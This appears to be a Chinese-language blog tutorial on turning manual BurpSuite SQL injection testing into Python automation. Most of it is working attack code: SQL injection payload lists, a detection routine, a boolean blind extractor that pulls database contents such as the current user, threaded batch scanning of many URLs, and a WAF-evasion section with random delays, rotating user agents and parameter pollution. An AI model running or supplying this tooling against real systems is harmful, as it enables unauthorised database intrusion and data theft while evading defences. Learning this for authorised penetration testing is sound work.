别再死记硬背了！用Python实战SQL注入POC，手把手教你从BurpSuite手工到自动化脚本
从手工注入到自动化：Python实战SQL注入检测脚本开发指南
当你第一次在BurpSuite中成功触发SQL注入漏洞时，那种兴奋感难以言喻。但随着测试场景的复杂化，重复的手工操作开始显得低效且容易出错。本文将带你完成从手工测试者到自动化脚本开发者的思维跃迁，用Python将你的渗透测试经验转化为可复用的自动化工具。
1. 手工测试与自动化脚本的本质差异
手工测试就像用螺丝刀一个个拧螺丝，而自动化脚本则是电动螺丝批。两者的核心区别不在于工具本身，而在于思维模式的转变。
在BurpSuite中，一个典型的SQL注入测试流程可能是这样的：
- 拦截正常请求
- 修改参数值插入单引号
- 观察响应差异
- 尝试布尔表达式(如1=1/1=2)
- 根据响应判断注入类型
手工测试的优势在于灵活性和即时反馈，你可以根据页面变化随时调整策略。但它的缺点同样明显：
- 重复劳动消耗时间
- 难以批量测试多个参数
- 结果依赖人工判断
- 无法集成到持续测试流程中
而自动化脚本的核心价值在于：
# 伪代码展示自动化测试流程 def test_sql_injection(url, param): payloads = ["'", "' AND 1=1--", "' AND 1=2--"] responses = [] for payload in payloads: modified_request = inject_payload(original_request, param, payload) response = send_request(modified_request) responses.append(analyze_response(response)) return compare_responses(responses)2. 构建基础检测逻辑
2.1 请求构造模块
Python的requests库将成为我们的"自动化BurpSuite"。先构建一个灵活的请求处理器：
import requests from urllib.parse import quote class RequestEngine: def __init__(self, base_url): self.base_url = base_url self.session = requests.Session() self.default_headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'text/html,application/xhtml+xml' } def send_get(self, params=None, headers=None): final_headers = {**self.default_headers, **(headers or {})} try: response = self.session.get( self.base_url, params=params, headers=final_headers, timeout=10 ) return response except requests.RequestException as e: print(f"请求失败: {str(e)}") return None2.2 响应分析策略
手工测试时，我们通过肉眼观察页面变化。自动化脚本需要明确的判断标准：
| 检测方法 | 实现方式 | 适用场景 |
|---|---|---|
| 状态码比对 | response.status_code | 明显错误响应 |
| 内容长度差异 | len(response.content) | 盲注场景 |
| 关键词匹配 | "error" in response.text | 显错型注入 |
| 时间延迟 | response.elapsed.total_seconds() | 时间盲注 |
def analyze_response(response, baseline): indicators = { 'length_variation': abs(len(response.content) - baseline['length']), 'keyword_found': any(keyword in response.text for keyword in ['error', 'syntax', 'mysql']), 'time_delay': response.elapsed.total_seconds() - baseline['time'] > 2 } return indicators3. 从POC到EXP的进阶开发
3.1 基础POC实现
以GET型注入为例，我们复现手工测试流程：
def check_get_injection(target_url, param_name): engine = RequestEngine(target_url) # 获取基准响应 baseline_params = {param_name: '1'} baseline = engine.send_get(baseline_params) if not baseline: return False baseline_data = { 'length': len(baseline.content), 'time': baseline.elapsed.total_seconds() } # 测试payload序列 test_payloads = [ "'", "'-- ", "' AND 1=1-- ", "' AND 1=2-- ", "' OR 'a'='a" ] for payload in test_payloads: test_params = {param_name: f"1{payload}"} response = engine.send_get(test_params) if not response: continue analysis = analyze_response(response, baseline_data) if any(analysis.values()): print(f"[!] 疑似注入点 detected with payload: {payload}") return True return False3.2 EXP功能扩展
真正的EXP需要实现数据提取能力。以下是布尔盲注的数据提取模块：
import string class BlindExtractor: def __init__(self, request_engine, param_name, true_condition): self.engine = request_engine self.param = param_name self.true_condition = true_condition def test_condition(self, condition): payload = f"1' AND ({condition})-- " response = self.engine.send_get({self.param: payload}) return self.true_condition(response) def extract_data(self, query, max_length=30): # 确定长度 length = 0 for l in range(1, max_length+1): if self.test_condition(f"LENGTH(({query}))={l}"): length = l break if not length: return None # 逐字符提取 result = [] charset = string.ascii_letters + string.digits + '_' for pos in range(1, length+1): for char in charset: if self.test_condition(f"SUBSTRING(({query}),{pos},1)='{char}'"): result.append(char) break return ''.join(result)4. 工程化实践建议
4.1 脚本优化技巧
- 并发处理：使用
concurrent.futures加速批量检测
from concurrent.futures import ThreadPoolExecutor def batch_test(urls): with ThreadPoolExecutor(max_workers=10) as executor: results = list(executor.map(check_get_injection, urls)) return results- 配置管理：使用YAML文件管理payload库
# payloads.yaml sqli: generic: - "'" - "'--" time_based: - "' AND sleep(5)--" error_based: - "' AND 1=CONVERT(int,@@version)--"- 日志记录：实现详尽的测试日志
import logging logging.basicConfig( level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('sqli_scanner.log'), logging.StreamHandler() ] )4.2 防御规避策略
现代WAF会检测自动化扫描，我们需要模拟正常用户行为：
| 规避技术 | 实现方式 |
|---|---|
| 请求随机延迟 | time.sleep(random.uniform(0.5, 3)) |
| 动态User-Agent | 轮换UA字符串库 |
| 参数污染 | 同时发送多个同名参数 |
| 注释混淆 | 随机插入/.../注释 |
from fake_useragent import UserAgent import time import random def get_random_ua(): ua = UserAgent() return ua.random def apply_evasion_tactics(request): time.sleep(random.uniform(1, 5)) request.headers['User-Agent'] = get_random_ua() if random.choice([True, False]): request.params = {**request.params, 'token': str(random.randint(1000,9999))} return request5. 实战案例分析
假设我们要测试一个用户搜索功能，原始请求如下：
GET /search?query=test&category=1 HTTP/1.1我们的自动化测试脚本需要：
- 识别所有参数(query, category)
- 对每个参数应用测试payload
- 记录所有异常响应
- 生成详细报告
def full_parameter_test(target_url, params): engine = RequestEngine(target_url) report = [] for param in params: logging.info(f"测试参数: {param}") vulnerable = check_get_injection(target_url, param) if vulnerable: detail = { 'parameter': param, 'type': 'SQL Injection', 'confidence': 'High', 'payloads': [] } # 深度验证 if confirm_blind_injection(engine, param): detail['type'] += ' (Blind)' current_user = extract_data(engine, param, "SELECT CURRENT_USER()") detail['extracted_data'] = { 'current_user': current_user } report.append(detail) generate_html_report(report) return report在安全测试领域，自动化不是要取代手工测试，而是将你的经验转化为可重复使用的智能工具。真正的价值不在于脚本本身，而在于你通过编码实现的测试思维结构化过程。